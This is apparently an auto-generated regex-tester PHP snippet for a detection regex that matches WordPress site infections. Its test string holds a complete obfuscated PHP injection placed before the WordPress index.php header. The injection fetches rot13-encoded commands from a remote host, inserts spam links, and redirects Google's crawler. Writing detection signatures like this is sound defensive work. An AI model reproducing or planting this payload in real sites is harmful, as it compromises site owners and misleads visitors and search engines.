$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[[\'"]http_host[\'"]\];\1.{0,90}?if\(\@\$_get\[["\']merdo["\'\]\)\{\w\s\'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["\']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[[\'"]links.{0,110}header\([\'"]location:\s*["\']\.\$url.{0,100}?\)\.[\'"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/is';
$str = '<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace(\'www.\',\'\',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo \'<!--SYSADMIN-->\';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists(\'curl_init\')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY=\'\';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\\" title=\\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',\'\',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match(\'#google#\',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER[\'REQUEST_URI\'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],\'/\');$url=$myurl.$uri;header(\'HTTP/1.1 301 Moved Permanently\');header(\'Location: \'.$url.\'\');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13(\'uggc://jjj.wnxxryyl.pbz/kynetr.cuc\').\'?merdo=\'.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php
/**
* Front to the WordPress application. This file doesn\'t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( \'WP_USE_THEMES\', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );
';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php